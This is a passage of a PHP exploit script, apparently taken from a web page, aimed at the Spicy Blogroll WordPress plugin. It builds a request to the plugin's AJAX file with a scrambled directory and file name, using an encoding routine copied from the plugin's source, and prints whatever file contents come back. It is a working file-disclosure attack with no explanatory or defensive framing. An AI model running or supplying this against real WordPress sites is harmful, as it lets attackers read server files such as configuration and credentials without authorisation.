}
list(,$host, $path, $file) = $argv;
$vfile = ‘http://%s%s/wp-content/plugins/spicy-blogroll/spicy-blogroll-ajax.php?var2=%s&var4=%s’;
$request = sprintf($vfile, $host, $path, scramble(dirname($file) . “/”), scramble(basename($file)));
$opts = array(
‘http’=>array(
‘header’ => “User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0”,
‘ignore_errors’ => true,
)
);
$context = stream_context_create($opts);
echo file_get_contents($request, 0, $context);
/**
Source: http://svn.wp-plugins.org/spicy-blogroll/trunk/spicy-blogroll.php
Line: 386-401
*/
function scramble($text1,$rng = 1){
$len=strlen($text1);
$rn=$rng%2;
$count=7;
$seed=($rn%=2)+1;
$text2=chr($seed+64+$rng).chr($rng+70);
for($i=0; $i<=$len-1; $i++) {
$seed*=-1;
$count+=1;
$ch=ord(substr($text1,$i,1))+$seed;
if($ch==92){$ch.=42;}
$text2.=chr($ch);
if($count%5==$rn){$text2.=chr(mt_rand(97,123));}
}
return $text2;
}
?>
评论关闭。